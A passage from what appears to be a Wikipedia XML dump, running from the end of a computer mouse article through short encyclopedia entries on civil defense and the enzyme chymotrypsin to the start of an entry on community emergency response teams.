Multiple clicks occur when the user presses the button several times in quick succession. This triggers an action separate from that of a single or double click. The triple click, for example, can be seen in [[word processor]]s such as [[Microsoft Word]] and [[web browsers]] to select a whole section (e.g. a line or paragraph) of text. Professional desktop publishing applications such as [[QuarkXPress]] and [[Adobe]] [[InDesign]] also utilize quadclicks (4 clicks to select a paragraph) and pentaclicks (5 clicks to select the entire story).

====Chords====
A [[mouse chording|chord]] occurs when two or more mouse buttons are pressed at the same time.
It is rarely used in standard interfaces. The X Window system has an option to emulate a middle mouse button with the simultaneous click of the left and right mouse buttons.

====Click-and-drag====
Once a user has clicked on an object, they can often drag the object by continuing to hold down the mouse button whilst moving the mouse.

====Mouse gestures====
''Main article: [[Mouse gesture]]s''

A mouse gesture is a way of combining mouse movements with clicks, to indicate a software-specific command.

===Tactile mice=== 
In [[2000]], [[Logitech]] introduced the ''tactile mouse'', which contained a small [[actuator]] that made the mouse vibrate. Such a mouse could be used to augment user interfaces with [[haptic]] feedback, such as giving feedback when crossing a [[window (computer)|window]] boundary.

Other unusual variants have included a mouse that is held freely in the hand, rather than on a flat surface, and detects six dimensions of motion (the three spatial dimensions, plus rotation on three axes). It was marketed for [[business]] [[presentation|presentations]] when the speaker is standing or walking around. So far, these mouse exotica have not achieved widespread popularity.

===Mouse speed===
Mouse speed is often expressed as DPI (dots per inch). The DPI is the number of pixels the mouse cursor will move when the mouse is moved one inch. Mouse sensitivity is a software trick that can be used to make a cursor move faster or slower than its DPI. Cursor acceleration can be used to make the cursor accelerate when the mouse is moving at a constant speed.

A less common unit, the &quot;Mickey&quot; (named after [[Mickey Mouse]]), is a measure of distance reported by a mouse. It is not a traditional [[unit of measurement]] because it indicates merely the number of &quot;dots&quot; reported in a particular direction. Only when combined with the DPI of the mouse does it become an indication of actual distance moved. In the absence of acceleration, the Mickey corresponds to the number of pixels moved on the computer screen.

Additionally, operating systems traditionally apply acceleration, referred to as [[ballistics]], to the motion reported by the mouse. For example, versions of [[Microsoft Windows|Windows]] prior to [[Windows XP]] doubled reported values above a configurable threshold, and then optionally doubled them again above a second configurable threshold. These doublings were applied separately in the X and Y directions, resulting in very [[nonlinear]] response. In [[Windows XP]] and many OS versions for [[Apple Macintosh]] computers, a smoother ballistics calculation is used that compensates for screen resolution and has better linearity.

===Mice or mouses?===
There is a [[fake etymology]] of the word mouse, which some claim is an [[acronym]] for &quot;Manually Operated User Selection Equipment&quot;, but the device's name came from its resemblance to a [[mouse]] and was established very early on. A [[Microsoft]] technical manual recommends the use of &quot;mouse devices&quot; to avoid ambiguity, though this usage has not caught on outside technical writing. The [[The American Heritage Dictionary of the English Language|American Heritage Dictionary of English Language]], Fourth Edition, states both &quot;computer mice&quot; and &quot;computer mouses&quot; are both proper plural forms for &quot;computer mouse.&quot;

==Accessories==
===Mousepad or Mousemat===
{{main|Mousepad}}
The mousepad is the most popular mouse accessory available, and is used with most mice. It provides a smooth surface for the mouse to move across, as many desks are not suitable, and hard wood or plastic surfaces wear down mouse feet covers faster. Specialized hard mousepads are made for gamers. Most optical mice do not require a mouse pad, as they are designed to be used on any flat surface. A mousepad is sometimes required when using optomechanical mice, because the ball requires the extra friction of the mousepad to roll smoothly. Many mousepads feature artistic designs, photographs, logos, or other decoration.

===Mouse foot covers===
Mouse foot covers (or foot pads) are made from low-friction or polished plastic. This makes the mouse glide with less resistance over a surface. Some higher quality models have [[Teflon]] feet to further decrease friction.

===Cord managers===
Accessories for managing the cord of a mouse come in different forms, but they all help manage excess cord length on mice to keep it from getting in the way.

===Wrist rests===
Cushioning pillows made from [[silicone]] [[gel]], [[neoprene]], or other spongy material are also a popular accessory. The padding provides for a more natural angle of the wrist which is aimed at reducing fatigue and excessive strain.

==Mice in the marketplace==
In the [[1970s]], Xerox PARC included mice with its [[Xerox Star]]. Later, inspired by the Star, [[Apple Computer]] released the [[Apple Lisa]], which also used a mouse. However, neither the Star nor the Lisa were commercially successful. Only with the release of the [[Apple Macintosh]] in [[1984]] did the mouse first see widespread use.

The Macintosh design was influential, and its success led many other vendors to begin producing mice or including them with their other computer products. The widespread adoption of graphical user interfaces in the [[1980s]] and [[1990s]] made mice indispensable for computer use. By [[2000]], [[Dataquest]] estimated that US$1.5 billion worth of mice were sold annually worldwide.

=== Alternative mice ===

Apart from the regular mouse that is operated by the hands, other mouse variants exist. These cater to those who may have an injury resulting from excessive mouse usage, or to people who feel uncomfortable with traditional designs. Some of these include:

* [[Trackball]] &amp;ndash; user moves a ball mounted in a fixed base.
* Mini-mouse &amp;ndash; a small egg-sized mouse optimized for portability (often used with [[laptop computer]]s).
* Camera mouse &amp;ndash; a camera tracks the head movement and moves the onscreen cursor. Natural pointers track the dot on a person's head and move the cursor accordingly. They are more precise than a camera mouse.
* Palm mouse &amp;ndash; held in the palm and operated with only 2 buttons; the movements across the screen correspond to a feather touch, and pressure increases the speed of movement.
* Foot mouse &amp;ndash; a mouse variant for those who do not wish to or cannot use the hands or the head; instead, footclicks are used.
* Joy-Mouse &amp;ndash; A cross between a joystick and a mouse, the joy mouse is held in an upright position like a joystick but moved like a normal mouse. The thumb usually controls the clicking on a two-way button on the top of the mouse.

==Applications of mice in user interfaces==
Usually, the mouse is used to control the motion of a [[cursor (computers)|cursor]] in two dimensions in a graphical user interface. Objects, such as files, programs, or actions, can be selected from a list of names, but, alternatively, are often represented visually by pictures called ''icons'' and ''buttons''; the mouse cursor can be used to select or activate items by moving the cursor over the name or picture and pressing one of the mouse buttons. For example, a text file might be represented by a picture of a piece of notebook paper, and clicking on this icon might cause a text editing program to open the file in a new window. (See also [[point-and-click]].)

Mice can also be used ''gesturally''; that is, a stylized motion of the mouse cursor itself can be used as a form of input. In a gestural interface, a particular [[mouse gesture|gesture]] (stylized motion) may be mapped to an action. For example, in a drawing program, moving the mouse in a rapid &quot;x&quot; motion over a shape might delete the shape.

Gestural interfaces are rarer, and often harder to use, than plain pointing and clicking, because they require finer motor control from the user.  However, a few gestural conventions have become widespread, including the ''[[drag-and-drop]]'' gesture, in which:

#The user presses the mouse button while the mouse cursor is over an object;
#Holds down the button while moving the cursor to a different location;
#Releases the mouse button.

This motion is commonly used to move the item from one location to another&amp;mdash;the item is dragged from its old location and dropped in its new one. For example, a user might drag and drop a picture of a file from a folder onto a picture of a trash can, indicating that the file should be deleted.

Other uses of the mouse's input are common in special application domains. In interactive [[3D computer graphics|three-dimensional graphics]], the mouse's motion is often directly translated into changes in the virtual camera's orientation. For example, in the [[Quake computer game]], the mouse is usually used to control the direction in which the player's &quot;head&quot; faces: moving the mouse up will cause the player to look up, revealing the view above the player's head.

When mice have more than one button, software may assign different functions to each button. Often, the primary (leftmost in a [[right-handed]] configuration) button on the mouse will select items, and the secondary (rightmost in a right-handed) button will bring up a menu of alternative actions applicable to that item. For example, on platforms with more than one button, the [[Mozilla]] web browser will follow a link in response to a primary button click, will bring up a contextual menu of alternative actions for that link in response to a secondary-button click, and will often open the link in a new [[Tab (GUI)|tab]] or [[window (computing)|window]] in response to a click with the tertiary (middle) mouse button.

===One, two or three mouse buttons?===
[[Image:Apple mouse Pro.jpg|thumb|250px|right|A one-button Apple pro mouse, manufactured until [[August 2005]] ([[commons:apple_mouse|More Apple mice]])]]
The issue of whether a mouse should have exactly one button or more than one has attracted a surprising amount of controversy. From the first Macintosh until late [[2005]], Apple shipped computers with a single-button mouse, whereas most other platforms used a multi-button mouse. Apple and its advocates argued that single-button mice are more efficient, and that multi-button mice are confusing for novice users. The Macintosh user interface is designed so that all functions are available with a single button mouse. Apple's Human Interface Guidelines still specify that all functions need to be available with a single button mouse. However, [[X Window System]] applications, which [[Mac OS X]] can also run, were designed with the use of two or even three button mice in mind, causing even simple operations like &quot;[[cut and paste]]&quot; to become awkward. Mac OS X natively supports multi-button mice, so many users of older Macintoshes choose to use third-party mice on their machines. On [[August 2]], [[2005]], Apple introduced their [[Apple Mighty Mouse|Mighty Mouse]] multi-button mouse, which has four independently programmable buttons and a &quot;scroll ball&quot; which can be used to scroll in any direction. This is now the mouse supplied with all new Macintosh computers.

Advocates of multiple-button mice point out that support for a single button mouse often leads to clumsy workarounds in interfaces where more than one action may be useful for a given object. There are several common workarounds, and even widely used Macintosh software packages that otherwise fully conform to the Human Interface Guidelines, including [[web browser]]s and graphics editing programs, occasionally require the use of one of them.

One such workaround is the press-and-hold technique. In a press-and-hold, the user presses and holds the single button, and after a certain period, the button press is not perceived as a single click but as a separate action. This has two drawbacks: first, as with double-clicking, a slow user may press-and-hold inadvertently. Second, the user must wait while the software detects that the click is actually a press-and-hold, otherwise their press might be interpreted as a single click. Furthermore, the remedies for these two drawbacks conflict with each other: the longer the lag time, the more the user must wait; and the shorter the lag time, the more likely it is that some user will accidentally press-and-hold when meaning to click.

Alternatively, the user may be required to hold down a key on the [[computer keyboard|keyboard]] while pressing the button (otherwise known as [[mouse chording]] - Macintosh computers use the [[ctrl]] key). This has the disadvantage that it requires that both the user's hands be engaged. It also requires that the user perform two actions on completely separate devices in concert; that is, pressing a key on the keyboard while pressing a button on the mouse. This can be a very daunting task for a disabled user. Studies have found all of the above workarounds less usable than additional mouse buttons for experienced users.

Most machines running [[Unix]] or a [[Unix-like]] [[operating system]] run the [[X Window System]] which almost always requires a three button mouse. In X, the buttons are numbered by convention. This allows user instructions to apply to mice or pointing devices that do not use conventional button placement. For example, a left handed user may reverse the buttons, usually with a software setting. With non-conventional button placement, user directions that say &quot;left mouse button&quot; or &quot;right mouse button&quot; are confusing. The ground-breaking [[Xerox Parc]] [[Xerox Alto|Alto]] and [[Xerox Dorado|Dorado]] computers from the mid-[[1970]]s used three-button mice, and each button was assigned a color. [[Red]] was used for the left (or primary) button, [[yellow]] for the middle (secondary), and [[blue]] for the right (meta or tertiary). This naming convention lives on in some [[SmallTalk]] environments, such as [[Squeak]], and can be less confusing than the right, middle and left designations.

Newer mice have a [[scroll wheel]] between two buttons, and pressing the scroll wheel acts as a middle mouse button (button two). In addition, mice with five or more buttons can be useful in several environments. Microsoft's Intellimouse is the best-known of these mice, but other brands exist and are often preferred due to the bulk of some Intellimice. The extra buttons are most frequently used in browsing the web or navigating with a [[file browser]].

==Mice in gaming==
Mice are often used as an interface for PC-based [[computer and video games|computer games]] and sometimes for [[video game console]]s. They are often used in combination with [[Computer keyboard|keyboards]]. In arguments over which is the best gaming platform, the mouse is often cited as a major advantage for the PC.

=== First-person shooters ===
A combination of mouse and keyboard is a popular way to play [[First-person shooter|first-person shooter (FPS)]] games. The X axis of the mouse is used for looking left and right, while the Y axis is used for looking up and down. The left mouse button is usually for primary fire. Many gamers prefer this over a [[gamepad]] or [[joystick]] because it allows them to turn quickly and have greater accuracy. The right button is often used for secondary fire of the selected gun, if the game supports multiple fire modes. A scroll wheel is used for changing weapons. On most FPS games, these functions may also be assigned to thumb buttons. A keyboard is usually used for movement (for example, [[WASD]], for moving forward, left, backward and right, respectively) and other functions like changing posture.  Since the mouse is used for aiming, a mouse that tracks movement accurately and with less lag will give a player an advantage over players with less accurate or slower mice.

==== Invert mouse setting ====
In many games, such as first or third person shooters, there is a setting called &quot;invert mouse&quot; or similar. It allows the user to look downward by moving the mouse forward, and upward by moving the mouse backward (the opposite of the default setting). This control system is similar to aircraft control sticks, where pulling back causes pitch up and pushing forward causes pitch down; this control configuration is also typically mimicked in computer [[joystick]]s.

After [[id Software]]'s [[Doom]], the game that popularized FPS games, but which did not support vertical aiming with a mouse (the y-axis was used for forward/backward movement), competitor [[3D Realms]]' ''[[Duke Nukem 3D]]'' was one of the first games that supported using the mouse to aim up and down. It and other games using the [[Build engine]] had an option to invert the Y-axis (moving the mouse forward aims up, moving the mouse backward aims down). The &quot;invert&quot; feature actually made the mouse behave in the way that we now regard as normal. Soon after, id Software released ''[[Quake]]'' which introduced the invert feature as we know it now. Other games using the [[Quake engine]] were released and kept this feature. Probably because of the overall popularity of ''Quake'', this became the current standard.

==== Super Nintendo ====
In the early 1990s, the [[Super Nintendo Entertainment System]] video game system became the first commercial gaming console to feature a [[SNES mouse|mouse]] in addition to its controllers.  The best-known game to have used the mouse's capabilities was ''[[Mario Paint]]''.

==See also==
*[[Trackball]]
*[[SpaceBall]]
*[[Touchpad]], also known as trackpad
*[[Pointing stick]]
*[[Computer accessibility]]
*[[Mousepad]]
*[[Footmouse]]
*[[Mouse gesture]]
*[[Repetitive strain injury]]

==Further reading==
* Alex Soojung-Kim Pang, [http://instruct1.cit.cornell.edu/courses/sts355/micezen.pdf ''Of Mice and Zen: Product Design and Invisible Innovation''] (''[[Portable Document Format|pdf format]]'')

==External links==
* [http://www.oldmouse.com/mouse/ The Earliest Computer Mouses]
** [http://www.oldmouse.com/mouse/xerox/alto.shtml The Xerox Alto Mouse] 
* [http://library.stanford.edu/mac/mouse0.html Primary Material on the Apple Mouse]
* [http://computer.howstuffworks.com/mouse.htm How Computer Mice Work]
* [http://literature.agilent.com/litweb/pdf/5988-4554EN.pdf Optical Mice and how they Work] ([[Portable Document Format|PDF]])
* [http://www.ida.net/users/oe1k/OpticalMouse Optical Mouse technology review: Tech specs on current optical mice]
* [http://www.planetquake.com/mouse/ the House of Mouse (Gaming)]
* [http://www.dvhardware.net/review70_logitech-mx1000.html A review of a modern laser-based mouse: the MX1000]
* [http://www.sri.com/about/timeline/mouse.html SRI mouse]
* [http://sloan.stanford.edu/MouseSite/ MouseSite] including [http://sloan.stanford.edu/MouseSite/1968Demo.html 1968 demonstration]
* [http://www.computer-engineering.org/ps2mouse/ The PS/2 mouse interface] – Detailed description of the data protocol, including the Microsoft Intellimouse wheel-and-five-buttons extensions
* [http://www.win.tue.nl/~aeb/linux/kbd/scancodes-12.html The PS/2 mouse] – a chapter on the PS/2 mouse protocols
* [http://freedos-32.sourceforge.net/showdoc.php?page=sermouse Serial-port mouse protocols]
* [http://users.tkk.fi/~then/mytexts/mouse.html PC mouse information] – some information on mouse interfaces and communication protocols
* [http://www.gyration.com/ Gyration] - a popular Inertial Mouse brand
* [http://www.hardwarebook.net/connector/userinput/atarimousejoy.html HwB: Atari Mouse/Joy Connector]
* [http://sprite.student.utwente.nl/~jeroen/projects/mouseeye/ Using a mouse as a scanner]
* [http://www.logitech.com/ Logitech]
* [http://www.razerzone.com/ Razer]
* [http://www.everglide.com/ Everglide]

=== Multiple cursors ===
* [http://www2.parc.com/istl/projects/MagicLenses/93Siggraph.html Toolglass and Magic Lenses: The See-Through Interface]
* [http://cpnmouse.sourceforge.net/ CPNMouse allows developers to use more than one pointing device in Windows 2000/XP applications, while maintaining backward compability with old applications.]
* [http://www.cs.sfu.ca/people/Faculty/inkpen/Papers/CSCL99/cscl99_inkpen.html Supporting Children’s Synchronous Collaboration]
* [http://www.michaelbuffington.com/archives/2003/07/multiple_mouse.html Multiple Mouse Cursors] — Blog with comments and links

==References==
* Agilent Technologies (2004).  [http://cp.literature.agilent.com/litweb/pdf/5988-9774EN.pdf ADNS-2610 Optical Mouse Sensor]. (''[[Portable Document Format|pdf format]]'') Retrieved [[2004]]-[[11-16]].
* Squeak Wiki ([[16 March]], [[2004]]). [http://minnow.cc.gatech.edu/squeak/897.version?id=24 FAQ: Mouse Buttons]. Revision 24. Retrieved [[2004]]-[[11-17]].
* [http://www.freepatentsonline.com/4787051.html Inertial mouse system], United States Patent 4787051

{{Gamepad styles}}

[[Category:Pointing devices]]
[[Category:Input devices]]
[[Category:History of computing]]

[[ar:فأرة]]
[[bg:Мишка (хардуер)]]
[[bs:Miš (hardver)]]
[[ca:Ratolí (ordinador)]]
[[cs:Počítačová myš]]
[[da:Computermus]]
[[de:Maus (EDV)]]
[[et:Arvutihiir]]
[[es:Ratón de ordenador]]
[[eo:Komputila muso]]
[[fa:موشی]]
[[fr:Souris (informatique)]]
[[gl:Rato (informática)]]
[[ko:마우스]]
[[io:Informatik-apuntilo]]
[[id:Tetikus]]
[[it:Mouse]]
[[he:עכבר מחשב]]
[[hu:Egér (számítástechnika)]]
[[ms:Tetikus]]
[[nl:Muis (computer)]]
[[no:Redigerer Mus (styreenhet)]]
[[nds:Muus (Reekner)]]
[[ja:マウス]]
[[pl:Mysz komputerowa]]
[[pt:Rato (informática)]]
[[ro:Maus]]
[[ru:Компьютерная мышь]]
[[sk:Počítačová myš]]
[[sl:Računalniška miška]]
[[sr:Компјутерски миш]]
[[fi:Hiiri (osoitinlaite)]]
[[sv:Datormus]]
[[th:เมาส์]]
[[tr:Fare (bilgisayar)]]
[[uk:Миша комп'ютерна]]
[[zh:鼠标]]</text>
    </revision>
  </page>
  <page>
    <title>Cephalic Index</title>
    <id>7058</id>
    <revision>
      <id>15905152</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Damian Yerrick</username>
        <id>1</id>
      </contributor>
      <minor />
      <comment>=&gt; Cephalic index (small i)</comment>
      <text xml:space="preserve">#REDIRECT [[Cephalic index]]</text>
    </revision>
  </page>
  <page>
    <title>Civil defense</title>
    <id>7059</id>
    <revision>
      <id>41612368</id>
      <timestamp>2006-02-28T14:38:17Z</timestamp>
      <contributor>
        <ip>137.113.103.123</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:civil_defense_logo.gif|framed|The old [[United States Civil Defense]] logo. The triangle emphasised the 3-step Civil Defense philosophy used before the foundation of FEMA and [[Comprehensive Emergency Management.]] ]]

[[Image:Ru mes.gif|thumb|The [[Russia]]n [[Ministry of Extraordinary Situations (Russian Federation)|Ministry of Extraordinary Situations]] flag, repeating the triangle [[Motif (art)|motif]].]]

'''Civil defense'''{{fn|1}} is an effort to prepare [[civilian]]s for military attack.  It uses the principles of [[emergency operation]]s: [[prevention]], [[mitigation]], [[preparation]], [[response]], or [[evacuation]], and [[recovery]]. Programs of this sort were initially discussed at least as early as the 1920s but it was only after the threat of [[nuclear weapon]]s became realized that they became widespread. As the intensity of the [[Cold War]] waned emphasis shifted from military attack to emergencies and disasters in general. In the context of [[Civil Defense in the United States]] this eventually led to the replacement of the [[United States Civil Defense]] with the [[Federal Emergency Management Agency]].  In some countries, the all-encompassing nature of civil defense is denoted by using name &quot;[[total defence]]&quot; such as the [[Swedish language|Swedish word]] ''totalförsvar''. The name suggests committing all resources, hence the term total, of the nation to the defence. It can be compared to [[total war]].

== Importance ==

Relatively small investments in preparation can speed up recovery by months or years and thereby prevent millions of deaths by hunger, cold and disease.  According to [[human capital]] theory in [[economics]], a country's population is more valuable than all of the land, factories and other assets that it possesses.  People are what rebuilds a country after its destruction and it is therefore important for the economic security of a country to protect its people.  Also, reducing fear and uncertainty via civil defense helps people's quality of life and has positive economic benefits.  According to [[psychology]], it is important for people to feel like they are in control of their own destiny and preparing for uncertainty via civil defense can help in this respect.

== Threat Assessment ==

Some various threats to civilians and civilian life are nuclear, biological, chemical, [[information warfare]] (cyberattacks), etc.  Each needs to be looked at and studied so that preventative measures can be built into civilian life.  

=== Conventional ===

This would be conventional explosives.  Blast sheltering against nuclear blast would pretty much protect against conventional explosives, but not ''vice versa''.

=== Nuclear ===

The biggest threats from a nuclear attack are effects from blast, fires and radiation.  There is also the possibility of [[terrorism|terrorists]] employing a radioactive &quot;[[dirty bomb]]&quot;.

=== Biological ===

The threat here is primarily from disease-causing microorganisms such as bacteria and viruses.

=== Chemical ===

Various chemical agents are a threat such as [[nerve gas]] (VX, Sarin, etc.).

=== Information Warfare ===

Attacks to a country's information infrastructure are a threat and, since so many facets of modern life are tied into computers and information systems, such attacks could have financial and economic consequences.

=== Other ===

There are many other possible threats besides these.

== Stages ==

=== Mitigation ===

Mitigation is the process of actively preventing the war or the release of [[nuclear weapon]]s.  It includes policy analysis, diplomacy, political measures, and more military responses such as a [[National Missile Defense]] and [[air defense artillery]].  In the case of counter-terrorism, mitigation would include [[intelligence (information gathering)|intelligence]] gathering and direct action against terrorist groups.  Mitigation may also be reflected in long-term planning such as the design of the [[interstate highway]] system and the placement of [[military]] bases further away from populated areas.

=== Preparation ===

Preparation consists of building [[blast shelter]]s, and prepositioning information, supplies and emergency infrastructure.  For example, most larger cities in the U.S. now have underground emergency operations centers that can perform civil defense coordination. FEMA also has many underground facilities located near major railheads such as the one in [[Denton, Texas]] and [[Mount Weather|Mount Weather, Virginia]] for the same purpose. Other measures would include continuous government inventories of grain silos, the National Strategic Medical Stockpile, the uncapping of the strategic petroleum reserve, the dispersal of truck-transportable bridges, water purification, mobile refineries, mobile decontamination facilities, mobile general and special purpose disaster mortuary facilities such as [[DMORT]] and [[DMORT-WMD]], and other aids such as temporary housing to speed civil recovery.

On an individual scale, one means of preparation for exposure to [[nuclear fallout]] is to obtain [[potassium iodide]] (KI) tablets as a safety measure to protect the human [[thyroid]] gland from the uptake of dangerous radioactive [[iodine]]. Another measure is to cover the nose, mouth and eyes with a piece of cloth and sunglasses to protect against [[alpha particle]]s, which are only an internal hazard.

=== Response ===

Response consists first of warning civilians so they can enter [[blast shelter]]s and protect assets.   

Staffing a response is always problematic in a civil defense emergency.  After an attack, conventional full-time emergency services are dramatically overloaded, with conventional fire fighting response times often exceeding several days.  Some capability is maintained by local and state agencies, and an emergency reserve is provided by specialized [[military]] units, especially [[civil affairs]], [[Military Police]], [[Judge Advocate]]s and [[combat engineer]]s.  

However, the traditional response to massed attack on civilian population centers is to maintain a mass-trained force of volunteer emergency workers.  Studies in [[World War II]] showed that lightly trained (40 hours or less) civilians in organized teams can perform up to 95% of emergency activities when trained, liaised and supported by local government.  In this plan, the populace rescues itself from most situations, and provides information to a central office to prioritize professional emergency services.

In the 1990s, this concept was revived by the [[Los Angeles Fire Department]] to cope with civil emergencies such as [[earthquake]]s.  The program was widely adopted, providing standard terms for organization.  In the U.S., this is now official federal policy, and it is implemented by [[community emergency response team]]s, under the Department of Homeland Security, which certifies training programs by local governments, and registers &quot;certified disaster service workers&quot; who complete such training.

=== Recovery ===

Recovery consists of rebuilding damaged infrastructure, buildings and production.  The recovery phase is the longest and ultimately most expensive phase.  Once the immediate &quot;crisis&quot; has passed, cooperation fades away and recovery efforts are often politicized or seen as economic opportunities.

Preparation for recovery can be very helpful.  If mitigating resources are dispersed before the attack, cascades of social failures can be prevented.  One hedge against bridge damage in riverine cities is to subsidize a &quot;tourist ferry&quot; that performs scenic cruises on the river.  When a bridge is down, the ferry takes up the load.

== Implementation ==

Some advocates believe that government should change building codes to require [[autonomous building]]s in order to reduce civil societies' dependence on complex, fragile networks of social services.

An example of a crucial need after a general nuclear attack would be transport fuel to transport every other item for recovery.  However, [[oil refinery|oil refineries]] are large, immobile, and probable targets.  One proposal is to preposition truck-mounted fuel refineries near oil fields and bulk storage depots.  Other critical infrastructure needs would include road and bridge repair, [[L_System|communications]], electric power, food production and potable water.

== History ==

In the [[United Kingdom]] and the [[United States]], as well as the [[Soviet Bloc]], during the [[1950s]] and [[1960s|60s]], many civil defence practices took place to prepare for the aftermath of a [[nuclear war]], which seemed quite likely at that time. However, there was never strong civil defense policy because it fundamentally violates the [[Mutually Assured Destruction]] doctrine by making provisions for survivors. In the M.A.D. doctrine, there are not supposed to be any survivors for a civil defense system to assist (thus the acronym). However M.A.D. was not official government policy, and successive governments in the west sought to implement civil defence measures in the face of popular apathy.

During the [[Cold War]], civil defense was seen largely as defending against and 
recovering from an attack involving [[nuclear weapons]].  After the end of the [[Cold War]], the focus moved from defense against nuclear war to defense against a terrorist attack possibly involving [[chemical weapon|chemical]] or [[biological weapon]]s.  After the [[September 11, 2001 attacks]], the concept of civil defense has been revisited under the umbrella term of [[homeland security]]. The old US Civil Defence logo was used in the [[FEMA]] logo until recently and is hinted at in the United States [[Civil Air Patrol]] logo.

==Note==
{{fnb|1}} ''civil defence'' is the Commonwealth spelling, ''civil defense'' is the spelling used in the United States.

== See also ==
{{commonscat|Civil Defense}}
* [[Transarmament]]
* [[Nuclear war]]
* [[Nuclear weapon]]
* [[Blast shelter]]
* [[Fallout shelter]]
* [[Civil defense geiger counters]]
* [[Survivalism]]
* [[Duck and cover]]
* [[Emergency preparedness]]
* [[Weapons of mass destruction]]
* [[Civil protection]]

==External links==
[[Image:EMANZ.gif]] [http://www.emanz.ac.nz Emergency Management Academy of New Zealand] provides Civil Defence training in NZ
*[http://www.oism.org/nwss/ ''Nuclear War Survival Skills''] &amp;ndash; A book from the late-1970s on civil defense in relation to nuclear weapons.
*[http://www.radmeters4u.com Civil Defense Radiation Detection Survey Meters, Geiger Counters and Dosimeters FAQ] &amp;ndash; ''Note:'' This site sells civil defense-related equipment and the FAQ should probably be taken with a grain of salt. 
*[http://www.civildefensemuseum.com Cold War Era Civil Defense Museum] &amp;ndash; Features much historical information about Civil Defense history, its equipment and methods, and many historical photographs and posters.
*[http://homepage.ntlworld.com/jimbonet/cd_history.html &quot;Civil Defence&quot;] &amp;ndash; A site with details of the UK's Civil Defence preparations, including those implemented during the Cold War such as the ''Burlington'' Central Government War HQ., at Corsham, Wiltshire.
*[http://alsos.wlu.edu/qsearch.aspx?browse=issues/Civil+Defense Annotated bibliography for civil defense from the Alsos Digital Library for Nuclear Issues]

[[Category:Disaster preparation]]

[[de:Zivilschutz]]
[[es:Protección Civil]]
[[fr:Sécurité civile]]
[[pt:Defesa civil]]
[[ru:Гражданская оборона]]
[[sv:Civilförsvar]]</text>
    </revision>
  </page>
  <page>
    <title>Chymotrypsin</title>
    <id>7060</id>
    <revision>
      <id>30794066</id>
      <timestamp>2005-12-10T04:55:31Z</timestamp>
      <contributor>
        <ip>68.106.203.138</ip>
      </contributor>
      <comment>/* Activation of chymotrypsin */  linked polypeptide to peptide</comment>
      <text xml:space="preserve">[[Image:Chymotrypsin-1AB9.png|thumb|Chymotrypsin]]
'''Chymotrypsin''' (bovine &amp;gamma; chymotrypsin: {{PDB|1AB9}}, {{EC number|3.4.21.1}}) is a digestive enzyme that can perform [[proteolysis]].

==Activation of chymotrypsin==
Chymotrypsin is synthesized by [[protein biosynthesis]] as a [[precursor]] called [[chymotrypsinogen]] that is enzymatically inactive. On cleavage by [[trypsin]] into two parts that are still connected via an S-S bond, cleaved chymotrypsinogen molecules can activate each other by removing two small peptides in a ''trans''-proteolysis. The resulting molecule is active chymotrypsin, a three [[peptide|polypeptide]] molecule interconnected via disulfide bonds.

==Action and Kinetics of chymotrypsin==
In vivo, chymotrypsin is a proteolytic enzyme acting in the digestive systems of mammals and other organisms. It facilitates the cleavage of peptide bonds by a hydrolysis reaction, a process which albeit thermodynamically favourable, occurs extremely slowly in the absence of a catalyst. The main substrates of chymotrypsin include tryptophan, tyrosine, phenylalanine, and methionine, which are cleaved at the carboxyl terminal. Like many proteases, chymotrypsin will also hydrolyse ester bonds in vitro, a virtue that enabled the use of substrate analogs such as N-acetyl-L-phenylalanine p-nitrophenyl ester for enzyme assays.

Chymotrypsin cleaves peptide bonds by attacking the unreactive carbonyl group with a powerful nucleophile, the serine 195 residue located in the active site of the enzyme, which briefly becomes covalently bonded to the substrate, forming an enzyme-substrate intermediate. 

These findings rely on inhibition assays and the study of the kinetics of cleavage of the aforementioned substrate, exploiting the fact that the enzyme-substrate intermediate p-nitrophenolate has a yellow colour, enabling us to measure its concentration by measuring light absorbance at A400. 

It was found that the reaction of chymotrypsin with its substrate takes place in two stages, an initial “burst” phase at the beginning of the reaction and a steady-state phase following Michaelis-Menten kinetics. The mode of action of chymotrypsin explains this as hydrolysis takes place in two steps. First acylation of the substrate to form an acyl-enzyme intermediate and then deacylation in order to return the enyzme to its original state. 

==Reference==
*Stryer et. al. (2002). Biochemistry (5th ed.). New York: Freeman. ISBN 0-7167-4684-0.

[[Category:EC 3.4.21]]
[[de:Chymotrypsin]]</text>
    </revision>
  </page>
  <page>
    <title>Community emergency response team</title>
    <id>7061</id>
    <revision>
      <id>41065337</id>
      <timestamp>2006-02-24T21:00:51Z</timestamp>
      <contributor>
        <ip>65.171.255.181</ip>
      </contributor>
      <comment>/* CERT TEAMS */</comment>
      <text xml:space="preserve">In the [[United States]] a '''community emergency response team''' ('''CERT''') is a group of [[volunteer]] [[emergency worker]]s.  They are usually neighbors.  Under good doctrine, they receive professional mass training and become official auxiliaries to local government [[emergency service]]s in times of [[state of emergency|emergency]].

The theory behind CERT is based on a simple observation: in major emergencies, professional emergency services overload instantly.  Every area in the world has earthquakes and tornadoes, and the most common disasters are floods and severe storms.  Common mass emergencies include [[flood]], [[hurricane]], [[tsunami]] or [[earthquake]].  These can all create mass emergencies, and thus CERTs have a mission everywhere.

For example, in a city with 100,000 people, usually only five fire stations and two police stations are staffed, with perhaps forty [[firefighter]]s, ten fire trucks and thirty [[police]] on duty.  This is adequate for normal emergencies, rescues and crimes.  In normal rescues, rescuers out number victims four to one, and can respond in minutes.  A typical rescue is completed in a half hour.

In the above community, if a mass emergency traps or injures just two percent of the inhabitants, there are instantly 2,000 victims, many with injuries.  The telephones will fail from overload.  Roads, bridges, electricity and other services may fail, hampering emergency services, and interfering with fuel and material supplies.

If only professionals respond to that mass emergency and there are 2000 victims, there will be 1000 hours of rescues, divided by ten trucks, or about 100 hours.  As many as three quarters of the victims could die while waiting for rescue.  After an hour and a half, untreated victims of [[shock]] would begin to die.  After one day, trapped children would begin to die of thirst.  After two days, trapped adults and shut-ins would begin to die of thirst.  Most of these deaths could be prevented by simple rescue and first-aid procedures.  This is a heartbreaking situation for all concerned.

In these environments CERTs are far more effective than untrained civilians.  With less than 40 hours of training, an volunteer emergency responder becomes qualified to perform about 95% of needed emergency services.  This means that 95% of the rescues and life-saving [[triage]] and [[first-aid]] procedures can be completed in the &quot;golden day,&quot; the first 24 hours when rescues and first-aid are most likely to succeed.

Physical fitness is not required for most CERT training or emergency activities.  CERT members are instead trained to avoid hazards, and assign strenuous tasks to younger or fit members of the team. 

In a major emergency, the community needs mass emergency services.  Although amateurs are not able to work as skillfully as professionals, they are immensely better than nothing.

==CERT organization==
